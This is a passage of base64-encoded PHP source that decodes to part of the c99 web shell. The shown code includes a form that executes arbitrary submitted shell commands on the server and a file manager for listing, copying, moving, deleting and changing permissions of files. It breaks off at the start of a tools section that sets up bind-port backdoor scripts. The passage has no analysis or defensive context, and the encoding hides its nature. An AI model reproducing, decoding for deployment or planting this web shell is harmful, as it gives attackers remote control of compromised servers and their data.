ICAkdG1wID0gcmVhbHBhdGgoIi4iKTsNCiAgY2hkaXIoJGQpOw0KICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZGxpbmUpOw0KICBjaGRpcigkdG1wKTsNCiAgaWYgKGVtcHR5KCRyZXQpKSB7JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9DQogICRyZXQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkcmV0KTsNCiAgJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsNCiAgaWYgKCRjb3B5X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0NCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpDQogIHsNCiAgIGlmIChpbl9hcnJheSgkdiwkcmV0KSkge2ZzX3Jtb2JqKCR2KTt9DQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICB9DQogIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgaWYgKCFlbXB0eSgkYXJjZXJyKSkge2VjaG8gIjxiPkFyY2hpdmF0aW9uIGVycm9yczo8L2I+PGJyPiIuJGFyY2Vycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCiBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpDQogew0KICAkcHN0ZXJyID0gIiI7DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikNCiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19jb3B5X29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30NCiAgfQ0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikNCiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19tb3ZlX29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogIH0NCiAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCn0NCmlmICgkYWN0ID09ICJjbWQiKQ0Kew0KaWYgKHRyaW0oJGNtZCkgPT0gInBzIC1hdXgiKSB7JGFjdCA9ICJwcm9jZXNzZXMiO30NCmVsc2VpZiAodHJpbSgkY21kKSA9PSAidGFza2xpc3QiKSB7JGFjdCA9ICJwcm9jZXNzZXMiO30NCmVsc2UNCnsNCiBAY2hkaXIoJGNoZGlyKTsNCiBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KIHsNCiAgZWNobyAiPGI+UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIGNvbW1hbmQ8L2I+Ojxicj4iOw0KICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsNCiAgQGNoZGlyKCRkKTsNCiAgJHJldCA9IG15c2hlbGxleGVjKCRjbWQpOw0KICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogIGlmICgkY21kX3R4dCkNCiAgew0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7DQogIH0NCiAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogIEBjaGRpcigkb2xkZGlyKTsNCiB9DQogZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIGNvbW1hbmQ8L2I+IjsgaWYgKGVtcHR5KCRjbWRfdHh0KSkgeyRjbWRfdHh0ID0gVFJVRTt9fQ0KIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jbWQ+PHRleHRhcmVhIG5hbWU9Y21kIGNvbHM9MTIyIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGNtZF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7DQp9DQp9DQppZiAoJGFjdCA9PSAibHMiKQ0Kew0KIGlmIChjb3VudCgkbHNfYXJyKSA+IDApIHskbGlzdCA9ICRsc19hcnI7fQ0KIGVsc2UNCiB7DQogICRsaXN0ID0gYXJyYXkoKTsNCiAgaWYgKCRoID0gQG9wZW5kaXIoJGQpKQ0KICB7DQogICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgeyRsaXN0W10gPSAkZC4kbzt9DQogICBjbG9zZWRpcigkaCk7DQogIH0NCiAgZWxzZSB7fQ0KIH0NCiBpZiAoY291bnQoJGxpc3QpID09IDApIHtlY2hvICI8Y2VudGVyPjxiPkNhbid0IG9wZW4gZm9sZGVyICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiIpITwvYj48L2NlbnRlcj4iO30NCiBlbHNlDQogew0KICAvL0J1aWxkaW5nIGFycmF5DQogICRvYmplY3RzID0gYXJyYXkoKTsNCiAgJHZkID0gImYiOyAvL1ZpZXdpbmcgbW9kZQ0KICBpZiAoJHZkID09ICJmIikNCiAgew0KICAgJG9iamVjdHNbImhlYWQiXSA9IGFycmF5KCk7DQogICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXkoKTsNCiAgICRvYmplY3RzWyJsaW5rcyJdID0gYXJyYXkoKTsNCiAgICRvYmplY3RzWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgIGZvcmVhY2ggKCRsaXN0IGFzICR2KQ0KICAgew0KICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICRyb3cgPSBhcnJheSgpOw0KICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkxJTksiO30NCiAgICBlbHNlaWYgKCRvID09ICIuLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkxJTksiO30NCiAgICBlbHNlaWYgKGlzX2RpcigkdikpDQogICAgew0KICAgICBpZiAoaXNfbGluaygkdikpIHskdHlwZSA9ICJMSU5LIjt9DQogICAgIGVsc2UgeyR0eXBlID0gIkRJUiI7fQ0KICAgICAkcm93W10gPSAkdjsNCiAgICAgJHJvd1tdID0gJHR5cGU7DQogICAgfQ0KICAgIGVsc2VpZihpc19maWxlKCR2KSkgeyRyb3dbXSA9ICR2OyAkcm93W10gPSBmaWxlc2l6ZSgkdik7fQ0KICAgICRyb3dbXSA9IGZpbGVtdGltZSgkdik7DQogICAgaWYgKCEkd2luKQ0KICAgIHsNCiAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7DQogICAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkdikpOw0KICAgICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCR2KSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJHYpKTsNCiAgICB9DQogICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsNCiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JG9iamVjdHNbImhlYWQiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyRvYmplY3RzWyJsaW5rcyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JG9iamVjdHNbImZpbGVzIl1bXSA9ICRyb3c7fQ0KICAgICRpKys7DQogICB9DQogICAkcm93ID0gYXJyYXkoKTsNCiAgICRyb3dbXSA9ICI8Yj5OYW1lPC9iPiI7DQogICAkcm93W10gPSAiPGI+U2l6ZTwvYj4iOw0KICAgJHJvd1tdID0gIjxiPk1vZGlmeTwvYj4iOw0KICAgaWYgKCEkd2luKQ0KICB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7fQ0KICAgJHJvd1tdID0gIjxiPlBlcm1zPC9iPiI7DQogICAkcm93W10gPSAiPGI+QWN0aW9uPC9iPiI7DQogICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsNCiAgICRzb3J0ID0gJHBhcnNlc29ydFswXS4kcGFyc2Vzb3J0WzFdOw0KICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9DQogICAkeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRrLigkcGFyc2Vzb3J0WzFdID09ICJhIj8iZCI6ImEiKS4iXCI+IjsNCiAgICR5IC49ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4oJHNvcnRbMV0gPT0gImEiPyJhc2MiOiJkZXNjIikuIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4oJHBhcnNlc29ydFsxXSA9PSAiYSI/IkFzYy4iOiJEZXNjIikuIlwiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICRyb3dbJGtdIC49ICR5Ow0KICAgZm9yKCRpPTA7JGk8Y291bnQoJHJvdyktMTskaSsrKQ0KICAgew0KICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+Ii4kcm93WyRpXS4iPC9hPiI7fQ0KICAgfQ0KICAgJHYgPSAkcGFyc2Vzb3J0WzBdOw0KICAgdXNvcnQoJG9iamVjdHNbImZvbGRlcnMiXSwgInRhYnNvcnQiKTsNCiAgIHVzb3J0KCRvYmplY3RzWyJsaW5rcyJdLCAidGFic29ydCIpOw0KICAgdXNvcnQoJG9iamVjdHNbImZpbGVzIl0sICJ0YWJzb3J0Iik7DQogICBpZiAoJHBhcnNlc29ydFsxXSA9PSAiZCIpDQogICB7DQogICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZvbGRlcnMiXSk7DQogICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmaWxlcyJdKTsNCiAgIH0NCiAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJG9iamVjdHNbImhlYWQiXSwkb2JqZWN0c1siZm9sZGVycyJdLCRvYmplY3RzWyJsaW5rcyJdLCRvYmplY3RzWyJmaWxlcyJdKTsNCiAgICR0YWIgPSBhcnJheSgpOw0KICAgJHRhYlsiY29scyJdID0gYXJyYXkoJHJvdyk7DQogICAkdGFiWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgJHRhYlsiZm9sZGVycyJdID0gYXJyYXkoKTsNCiAgICR0YWJbImxpbmtzIl0gPSBhcnJheSgpOw0KICAgJHRhYlsiZmlsZXMiXSA9IGFycmF5KCk7DQogICAkaSA9IDA7DQogICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkYSkNCiAgIHsNCiAgICAkdiA9ICRhWzBdOw0KICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICRkaXIgPSBkaXJuYW1lKCR2KTsNCiAgICBpZiAoJGRpc3BfZnVsbHBhdGgpIHskZGlzcHBhdGggPSAkdjt9DQogICAgZWxzZSB7JGRpc3BwYXRoID0gJG87fQ0KICAgICRkaXNwcGF0aCA9IHN0cjJtaW5pKCRkaXNwcGF0aCw2MCk7DQogICAgaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImN1dCJdKSkgeyRkaXNwcGF0aCA9ICI8c3RyaWtlPiIuJGRpc3BwYXRoLiI8L3N0cmlrZT4iO30NCiAgICBlbHNlaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4iO30NCiAgICBmb3JlYWNoICgkcmVneHBfaGlnaGxpZ2h0IGFzICRyKQ0KICAgIHsNCiAgICAgaWYgKGVyZWcoJHJbMF0sJG8pKQ0KICAgICB7DQogICAgICBpZiAoKCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpIHskclsxXSA9IDA7IG9iX2NsZWFuKCk7IGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3IgaW4gXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIHVua25vd24gY29tbWFuZC4iOyBjOTlzaGV4aXQoKTt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7DQogICAgICAgJGlzZGlyID0gaXNfZGlyKCR2KTsNCiAgICAgICBpZiAoKCRyWzFdID09IDApIG9yICgoJHJbMV0gPT0gMSkgYW5kICEkaXNkaXIpIG9yICgoJHJbMV0gPT0gMikgYW5kICEkaXNkaXIpKQ0KICAgICAgIHsNCiAgICAgICAgaWYgKGVtcHR5KCRyWzJdKSkgeyRyWzJdID0gIjxiPiI7ICRyWzNdID0gIjwvYj4iO30NCiAgICAgICAgJGRpc3BwYXRoID0gJHJbMl0uJGRpc3BwYXRoLiRyWzNdOw0KICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9DQogICAgICAgfQ0KICAgICAgfQ0KICAgICB9DQogICAgfQ0KICAgICR1byA9IHVybGVuY29kZSgkbyk7DQogICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOw0KICAgICR1diA9IHVybGVuY29kZSgkdik7DQogICAgJHJvdyA9IGFycmF5KCk7DQogICAgaWYgKCRvID09ICIuIikNCiAgICB7DQogICAgICRyb3dbXSA9ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNtYWxsX2RpclwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUocmVhbHBhdGgoJGQuJG8pKS4iJnNvcnQ9Ii4kc29ydC4iXCI+Ii4kby4iPC9hPiI7DQogICAgICRyb3dbXSA9ICJMSU5LIjsNCiAgICB9DQogICAgZWxzZWlmICgkbyA9PSAiLi4iKQ0KICAgIHsNCiAgICAgJHJvd1tdID0gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2xua1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUocmVhbHBhdGgoJGQuJG8pKS4iJnNvcnQ9Ii4kc29ydC4iXCI+Ii4kby4iPC9hPiI7DQogICAgICRyb3dbXSA9ICJMSU5LIjsNCiAgICB9DQogICAgZWxzZWlmIChpc19kaXIoJHYpKQ0KICAgIHsNCiAgICAgaWYgKGlzX2xpbmsoJHYpKQ0KICAgICB7DQogICAgICAkZGlzcHBhdGggLj0gIiA9PiAiLnJlYWRsaW5rKCR2KTsNCiAgICAgICR0eXBlID0gIkxJTksiOw0KICAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9sbmtcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTZcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIuJHV2LiImc29ydD0iLiRzb3J0LiJcIj5bIi4kZGlzcHBhdGguIl08L2E+IjsNCiAgICAgfQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgICR0eXBlID0gIkRJUiI7DQogICAgICAkcm93W10gPSAgIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c21hbGxfZGlyXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgICB9DQogICAgICRyb3dbXSA9ICR0eXBlOw0KICAgIH0NCiAgICBlbHNlaWYoaXNfZmlsZSgkdikpDQogICAgew0KICAgICAkZXh0ID0gZXhwbG9kZSgiLiIsJG8pOw0KICAgICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAgICRleHQgPSAkZXh0WyRjXTsNCiAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAgICRyb3dbXSA9ICAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiImXCI+Ii4kZGlzcHBhdGguIjwvYT4iOw0KICAgICAkcm93W10gPSB2aWV3X3NpemUoJGFbMV0pOw0KICAgIH0NCiAgICAkcm93W10gPSBkYXRlKCJkLm0uWSBIOmk6cyIsJGFbMl0pOw0KICAgIGlmICghJHdpbikgeyRyb3dbXSA9ICRhWzNdO30NCiAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1jaG1vZCZmPSIuJHVvLiImZD0iLiR1ZC4iXCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCR2KS4iPC9iPjwvYT4iOw0KICAgIGlmICgkbyA9PSAiLiIpIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIG9uY2xpY2s9XCJsc19yZXZlcnNlX2FsbCgpO1wiPiI7ICRpLS07fQ0KICAgIGVsc2UgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgaWQ9XCJhY3Rib3giLiRpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiPiI7fQ0KICAgIGlmIChpc19kaXIoJHYpKSB7JHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZCZkPSIuJHV2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9DQogICAgZWxzZSB7JHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9aW5mbyZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWVkaXQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJDaGFuZ2VcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGFsdD1cIkRvd25sb2FkXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9DQogICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyR0YWJbImhlYWQiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyR0YWJbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgeyR0YWJbImZvbGRlcnMiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyR0YWJbImZpbGVzIl1bXSA9ICRyb3c7fQ0KICAgICRpKys7DQogICB9DQogIH0NCiAgLy8gQ29tcGlsaW5nIHRhYmxlDQogICR0YWJsZSA9IGFycmF5X21lcmdlKCR0YWJbImNvbHMiXSwkdGFiWyJoZWFkIl0sJHRhYlsiZm9sZGVycyJdLCR0YWJbImxpbmtzIl0sJHRhYlsiZmlsZXMiXSk7DQogIGVjaG8gIjxjZW50ZXI+PGI+TGlzdGluZyBmb2xkZXIgKCIuY291bnQoJHRhYlsiZmlsZXMiXSkuIiBmaWxlcyBhbmQgIi4oY291bnQoJHRhYlsiZm9sZGVycyJdKStjb3VudCgkdGFiWyJsaW5rcyJdKSkuIiBmb2xkZXJzKTo8L2I+PC9jZW50ZXI+PGJyPjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9MTAwJSBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jNDMzMzMzIGJvcmRlcj0wPjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUIG5hbWU9XCJsc19mb3JtXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSIuJGRzcGFjdC4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9Ii4kZC4iPiI7DQogIGZvcmVhY2goJHRhYmxlIGFzICRyb3cpDQogIHsNCiAgIGVjaG8gIjx0cj5cclxuIjsNCiAgIGZvcmVhY2goJHJvdyBhcyAkdikge2VjaG8gIjx0ZD4iLiR2LiI8L3RkPlxyXG4iO30NCiAgIGVjaG8gIjwvdHI+XHJcbiI7DQogIH0NCiAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj4NCiAgPHNjcmlwdD4NCiAgZnVuY3Rpb24gbHNfc2V0Y2hlY2tib3hhbGwoc3RhdHVzKQ0KICB7DQogICB2YXIgaWQgPSAxOw0KICAgdmFyIG51bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsNCiAgIHdoaWxlIChpZCA8PSBudW0pDQogICB7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSBzdGF0dXM7DQogICAgaWQrKzsNCiAgIH0NCiAgfQ0KICBmdW5jdGlvbiBsc19yZXZlcnNlX2FsbCgpDQogIHsNCiAgIHZhciBpZCA9IDE7DQogICB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0yKS4iOw0KICAgd2hpbGUgKGlkIDw9IG51bSkNCiAgIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9ICFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZDsNCiAgICBpZCsrOw0KICAgfQ0KICB9DQogIDwvc2NyaXB0Pg0KICA8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsc19zZXRjaGVja2JveGFsbCh0cnVlKTtcIiB2YWx1ZT1cIlNlbGVjdCBhbGxcIj4mbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsc19zZXRjaGVja2JveGFsbChmYWxzZSk7XCIgdmFsdWU9XCJVbnNlbGVjdCBhbGxcIj4gDQogIDxiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPiI7DQogIGlmIChjb3VudChhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pKSA+IDAgYW5kICgkdXNlZnNidWZmKSkNCiAgew0KICAgZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YWN0YXJjYnVmZiB2YWx1ZT1cIlBhY2sgYnVmZmVyIHRvIGFyY2hpdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiYWN0YXJjYnVmZl9wYXRoXCIgdmFsdWU9XCJhcmNoaXZlXyIuc3Vic3RyKG1kNShyYW5kKDEsMTAwMCkucmFuZCgxLDEwMDApKSwwLDUpLiIudGFyLmd6XCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RwYXN0ZWJ1ZmZcIiB2YWx1ZT1cIlBhc3RlXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RlbXB0eWJ1ZmZcIiB2YWx1ZT1cIkVtcHR5IGJ1ZmZlclwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7DQogIH0NCiAgZWNobyAiPHNlbGVjdCBuYW1lPWFjdD48b3B0aW9uIHZhbHVlPVwiIi4kYWN0LiJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7DQogIGVjaG8gIjxvcHRpb24gdmFsdWU9ZGVsZXRlIi4oJGRzcGFjdCA9PSAiZGVsZXRlIj8iIHNlbGVjdGVkIjoiIikuIj5EZWxldGU8L29wdGlvbj4iOw0KICBlY2hvICI8b3B0aW9uIHZhbHVlPWNobW9kIi4oJGRzcGFjdCA9PSAiY2htb2QiPyIgc2VsZWN0ZWQiOiIiKS4iPkNoYW5nZS1tb2RlPC9vcHRpb24+IjsNCiAgaWYgKCR1c2Vmc2J1ZmYpDQogIHsNCiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y3V0Ii4oJGRzcGFjdCA9PSAiY3V0Ij8iIHNlbGVjdGVkIjoiIikuIj5DdXQ8L29wdGlvbj4iOw0KICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jb3B5Ii4oJGRzcGFjdCA9PSAiY29weSI/IiBzZWxlY3RlZCI6IiIpLiI+Q29weTwvb3B0aW9uPiI7DQogICBlY2hvICI8b3B0aW9uIHZhbHVlPXVuc2VsZWN0Ii4oJGRzcGFjdCA9PSAidW5zZWxlY3QiPyIgc2VsZWN0ZWQiOiIiKS4iPlVuc2VsZWN0PC9vcHRpb24+IjsNCiAgfQ0KICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJDb25maXJtXCI+PC9wPiI7DQogIGVjaG8gIjwvZm9ybT4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJ0b29scyIpDQp7DQogJGJuZHBvcnRzcmNzID0gYXJyYXkoDQogICJjOTlzaF9iaW5kcG9ydC5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGV